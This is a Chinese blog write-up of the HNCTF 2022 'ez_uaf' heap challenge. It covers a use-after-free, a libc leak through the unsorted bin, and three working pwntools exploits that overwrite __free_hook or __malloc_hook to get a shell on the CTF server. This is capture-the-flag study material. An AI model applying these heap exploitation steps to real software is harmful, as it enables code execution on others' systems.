[HNCTF 2022 WEEK4]ez_uaf WP(三种方法)

[HNCTF 2022 WEEK4]ez_uaf

一、题目来源

NSSCTF-Pwn-[HNCTF 2022 WEEK4]ez_uaf

image

二、信息搜集

通过 file 命令查看文件类型:

image

通过 checksec 命令查看文件开启的保护机制:

image

三、反汇编文件开始分析

根据菜单输出的提示信息,我们就可以知道本程序最主要的四个功能:

int menu()
{
  puts("1.Add.");
  puts("2.Delete.");
  puts("3.Show.");
  puts("4.Edit.");
  return puts("Choice: ");
}

逐一进行分析。

1、Add

int add()
{
  __int64 v1; // rbx
  int i; // [rsp+0h] [rbp-20h]
  int v3; // [rsp+4h] [rbp-1Ch]

  for ( i = 0; i <= 15 && heaplist[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("Full!");
    return 0;
  }
  else
  {
    puts("Size:");
    v3 = getnum();
    if ( (unsigned int)v3 > 0x500 )
    {
      return puts("Invalid!");
    }
    else
    {
      heaplist[i] = malloc(0x20u);
      if ( !heaplist[i] )
      {
        puts("Malloc Error!");
        exit(1);
      }
      v1 = heaplist[i];
      *(_QWORD *)(v1 + 16) = malloc(v3);
      if ( !*(_QWORD *)(heaplist[i] + 16LL) )
      {
        puts("Malloc Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 24LL) = v3;
      puts("Name: ");
      if ( !(unsigned int)read(0, (void *)heaplist[i], 0x10u) )
      {
        puts("Something error!");
        exit(1);
      }
      puts("Content:");
      if ( !(unsigned int)read(0, *(void **)(heaplist[i] + 16LL), *(int *)(heaplist[i] + 24LL)) )
      {
        puts("Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 28LL) = 1;
      return puts("Done!");
    }
  }
}

简单分析后,可以发现 Add 函数中会调用两次 malloc 函数,并且会用 heaplist[] 这个数组来管理分配的两个 chunk

大概就是:

image

为了后续理解的方便,我们叫左边那个 chunk 为管理块,右边那个 chunk 叫做内容块。

2、Delete

__int64 delete()
{
  __int64 result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && *(_DWORD *)(heaplist[v1] + 28LL) )
  {
    free(*(void **)(heaplist[v1] + 16LL));
    free((void *)heaplist[v1]);
    result = heaplist[v1];
    *(_DWORD *)(result + 28) = 0;
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
  return result;
}

顾名思义,删除块的操作,但是 free 后并没有将指针置为 NULL,因此有 UAF 的潜在问题。

需要注意的是,在 free 完成之后,它将 size 部分置为 0,这也就意味着我们后续无法正常对 content 内容进行修改。这个问题,后续还会提到。

3、Show

int show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && heaplist[v1] )
  {
    puts((const char *)heaplist[v1]);
    return puts(*(const char **)(heaplist[v1] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
}

不难理解,它的作用就是将 namecontent 中的信息通过 puts 函数打印出来。

4、Edit

ssize_t edit()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && heaplist[v1] )
    return read(0, *(void **)(heaplist[v1] + 16LL), *(int *)(heaplist[v1] + 24LL));
  puts("Error idx!");
  return 0;
}

content 内容进行修改。

但是,请不要忘记,如果将一片笔记(Note)删除之后(delet),“正常情况下”是无法再更改了。

嘿嘿,这引号就说明……

四、思路分析

UAF + Edit,这两个一组合,就可以想到“任意地址写”这个操作,因为:

  • UAF 让我们拥有了对管理块的“全更改”权限:
    • 正常来说,我们只能对管理块中的"name"部分进行操作;
    • UAF 之后,我们就可以修改其中的完整内容(作为内容块就好)。
  • 将管理块中的指针部分修改成指定地址;
  • 将 size 部分从 0 改成 指定大小(delete 操作的置 0 现象)。

现在,要解决的问题就是:

  • 任意写的目标是什么?
  • 既然程序有 PIE 保护,我们该如何获得精确的地址信息?

联系一下目前拥有的信息点:

  • show 函数能输出信息,搭配 UAF 可以输出 bin 中的 chunk 的部分结构体信息;
  • 题目给了我们一个库文件

那么,我们的思路就是:

  1. 通过 UAF 和 show 函数的搭配,打“Unsorted bin 泄露 libc 基址”;
  2. 通过任意地址写实现 __malloc_hook__free_hook 的劫持。

五、最终 Poc

本地环境打在泄露的时候会不太稳定,建议直接与服务器交互。

1、四个功能

首先,通过 python 实现函数的四个主要功能,便于后续直接调用:

def add(size,name,content):
	p.sendafter(b'Choice: ',b'1')
	p.sendafter(b'Size:',size)
	p.sendafter(b'Name: ',name)
	p.sendafter(b'Content:',content)

def delete(index):
	p.sendafter(b'Choice: ',b'2')
	p.sendafter(b'Input your idx:',index)

def edit(index,content):
	p.sendafter(b'Choice: ',b'4')
	p.sendafter(b'Input your idx:',index)
	p.send(content)

def show(index):
	p.sendafter(b'Choice: ',b'3')
	p.sendafter(b'Input your idx:',index)

2、Unsorted bin

要 chunk 在 free 之后进入 unsorted bin 需要满足条件:

  • 释放一个不属于 Tcache bin 或 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。

为了满足“不属于”,我们需要看一些宏定义来确定对应 bin 能存放的 chunk 的最大大小是多少。

可以在网站中查看对应版本的 glib(题目已经告诉我们版本,即下载网站中的 glibc-2.27.tar.gz 文件即可)

我将相关的宏定义贴在下面:

关于 Tcache bin 的:

# define TCACHE_MAX_BINS        64
# define MAX_TCACHE_SIZE    tidx2usize (TCACHE_MAX_BINS-1)

/* Only used to pre-fill the tunables.  */
# define tidx2usize(idx)    (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)

#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
              ? __alignof__ (long double) : 2 * SIZE_SZ)

# define INTERNAL_SIZE_T size_t
#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))

#define MINSIZE  \
  (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
#define MIN_CHUNK_SIZE        (offsetof(struct malloc_chunk, fd_nextsize))
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

简单计算一下:

  • 能存放的最大 chunk 的大小(MAX_TCACHE_SIZE)的计算公式为:tidx2usize (TCACHE_MAX_BINS-1);
  • tidx2usize (TCACHE_MAX_BINS-1) 的定义是:(((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ),其中的参数我也将他们的宏定义贴在上面了,我直接说结果:
    • idx:就是传进来的参数 TCACHE_MAX_BINS-1 = 64 - 1 = 63
    • MALLOC_ALIGNMENT2 * SIZE_SZ = 2 * 8 = 16
    • SIZE_SZ:CPU 架构是 64 位(8 字节)的,即 SIZE_SZ = 8
    • MINSIZE(MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK= (offsetof(struct malloc_chunk, fd_nextsize) + MALLOC_ALIGNMENT - 1) & ~15= (32 + 15) & ~15 = 32(其中 offsetof 是一个宏定义,用于计算偏移量的,关于偏移量,我也将结构体贴在上面的,在 64 位的程序中,偏移刚好就是 32 字节)

综上,最大大小为:63 * 16 + 32 - 8 = 1032

关于 Fast Bin 的:

#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)

# define INTERNAL_SIZE_T size_t
#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))

不难看出,其最大大小为:80 * 16 / 4 = 160

那么,我们要避免 chunk 进入 Unsorted bin 或者 Fast bin,即超出 Max(1032,160) 即可。

要满足“不与 top chunk 相邻”这个条件只需要一个很简单的操作,即在其后再创建一个 chunk 就好了。

对应 Poc:

add(b'1033',b'A',b'A') # 0
add(b'16',b'A',b'A') # 1

delete(b'0')

此时,我们可以动态调试一下确认一下:

image

和我们设想的一样。

3、泄露 libc 基址

首先说明能泄露的原理:

unsorted bin 有一个特性:如果 usorted bin 中只有一个 bin ,那么它的 fd 和 bk 指针会指向同一个地址,就是 unsorted bin 链表的头部。我们知道,small bins, large bins, unsorted bin 统一存放在 malloc_state 这个结构体中的一个数组中,而 malloc_state 是属于 main_arena 的,main_arena 刚好又是位于 libc 的数据段的一个变量。

换言之,如果我们知道上述情况中的 fd 指针/ bk 指针所指向的地址,那我们也就相当于知道了 main_arena 的基址(根据固定的偏移量),也就是知道了 libc 的基址(根据固定的偏移量)。

Pasted image 20250924113230

对应 Poc:

show(b'0') # fd 和 br 通过 UAF + show 函数能泄露(根据 chunk 的数据结构)

leak = u64(p.recvuntil(b"\x7f")[2:].ljust(8,b'\x00'))
print(hex(leak))

main_arena = libc.symbols['main_arena']
libc_base = leak - 96 - main_arena
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
system = libc_base + libc.symbols["system"]

success("libc_base: " + hex(libc_base))

one_gadget = [libc_base + 0x4f29e,libc_base + 0x4f2a5,libc_base + 0x4f302, libc_base + 0x10a2fc]

关于偏移量的确定:

动态调试即可,pwndbg 会自动帮我们分析处偏移量:

image

至于说我为什么准备那么多的信息(onde_gadget、hook等),是为了方便后续采用多个方式解决问题,大家酌情选择即可。

4、三个方法

(1)__free_hook 其一

通过劫持 __free_hook 实现 system(binsh_addr) 的调用。

根据前面分析过的思路,我们知道,只要控制块为我们所用,配合上 edit 就可以实现任意地址写。

“控制块为我们所用”的关键就是 UAF:

add(b'16',b'A',b'A') # 2
add(b'16',b'A',b'A') # 3

delete(b'2')
delete(b'3')

payload = b'A'*16 + p64(free_hook-8) + p64(0x100000040)
add(b'32',b'A',payload) # 4

edit(b'2',b'/bin/sh\x00' + p64(system))
delete(b'2')

前两个 add 之后,tcache 里面的链条应该是:

image

Tcache 符合 LIFO(后进先出)原则。

为什么 add 中选择 size 为 16(0x10)?

只要不和管理块的大小(0x20)一致都可以,这么做是为了放管理块的 Tcache bin 的干净、可控,方便我们操作。

接下来的第三个 add 操作,会将 3、2 分别从 bin 中取出,前者作为 Note4 的管理块,后者作为 Note4 的内容块。

作图,方便理解:

根据 UAF 我们知道,heaplist 依旧“想着老相好”:

image

现在 heaplist[4] 管理了:

image

那我们是不是可以通过 edit 操作其内容,变成:

image

至于为什么是“-8”,后面会解释,先看下去。

对应的之前的 heaplist:

image

此时,由于我们恢复了 size 即 size 不再为 0 了,我们又可以对 Note2 直接执行 edit 操作:

image

现在由于我们指定的地址是 __free_hook - 8,根据我们填充的 content,可以知道 __free_hook 会被修改为 system 的地址,之后使用 free 函数的时候,实质上就是调用 system 函数,而我们知道 del 操作会执行 free(*(void **)(heaplist[v1] + 16LL)); 这参数刚好就是我们填入的"/bin/sh\x00"的所在地址,即在已被劫持的前提条件下,也就是触发了 system(binsh_addr),也就是实现了 getshell。

运行结果:

image

成功拿下 shell。

(2)__free_hook 其二

具体过程不再那么详细(因为有重叠部分),细节可以看上面的。

依旧是实现 __free_hook 劫持,但不实现 system() 的调用,只是打 one_gadget:

add(b'16',b'A',b'A') # 2
add(b'16',b'A',b'A') # 3

delete(b'2')
delete(b'3')

payload = b'A'*16 + p64(free_hook) + p64(0x100000040)
add(b'32',b'A',payload) # 4

edit(b'2',p64(one_gadget[2]))
delete(b'2')

(3)__malloc_hook

同 (2),只是打 malloc 还是 free 的区别:

add(b'16',b'A',b'A') # 2
add(b'16',b'A',b'A') # 3

delete(b'2')
delete(b'3')

payload = b'A'*16 + p64(malloc_hook) + p64(0x100000040)
add(b'32',b'A',payload) # 4

edit(b'2',p64(one_gadget[3]))

p.sendafter(b'Choice: ',b'1')
p.sendafter(b'Size:',b'1')

5、完整 Poc(只展示一种方法)

from pwn import *

exe = ELF("./ez_uaf_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe

context(arch='amd64',os="linux",log_level="debug")


'''
  puts("1.Add.");
  puts("2.Delete.");
  puts("3.Show.");
  puts("4.Edit.");
  return puts("Choice: ");
'''

def add(size,name,content):
    p.sendafter(b'Choice: ',b'1')
    p.sendafter(b'Size:',size)
    p.sendafter(b'Name: ',name)
    p.sendafter(b'Content:',content)

def delete(index):
    p.sendafter(b'Choice: ',b'2')
    p.sendafter(b'Input your idx:',index)

def edit(index,content):
    p.sendafter(b'Choice: ',b'4')
    p.sendafter(b'Input your idx:',index)
    p.send(content)

def show(index):
    p.sendafter(b'Choice: ',b'3')
    p.sendafter(b'Input your idx:',index)

p = remote("node5.anna.nssctf.cn",28418)

add(b'1033',b'A',b'A') # 0
add(b'16',b'A',b'A') # 1

delete(b'0')

show(b'0')

leak = u64(p.recvuntil(b"\x7f")[2:].ljust(8,b'\x00'))
print(hex(leak))

main_arena = libc.symbols['main_arena']
libc_base = leak - 96 - main_arena
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
system = libc_base + libc.symbols["system"]

success("libc_base: " + hex(libc_base))

one_gadget = [libc_base + 0x4f29e,libc_base + 0x4f2a5,libc_base + 0x4f302, libc_base + 0x10a2fc]

add(b'16',b'A',b'A') # 2
add(b'16',b'A',b'A') # 3

delete(b'2')
delete(b'3')

payload = b'A'*16 + p64(malloc_hook) + p64(0x100000040)
add(b'32',b'A',payload) # 4

edit(b'2',p64(one_gadget[3]))

p.sendafter(b'Choice: ',b'1')
p.sendafter(b'Size:',b'1')

p.interactive()

posted @ 2025-11-16 11:59  YouDiscovered1t  阅读(0)  评论(0)    收藏  举报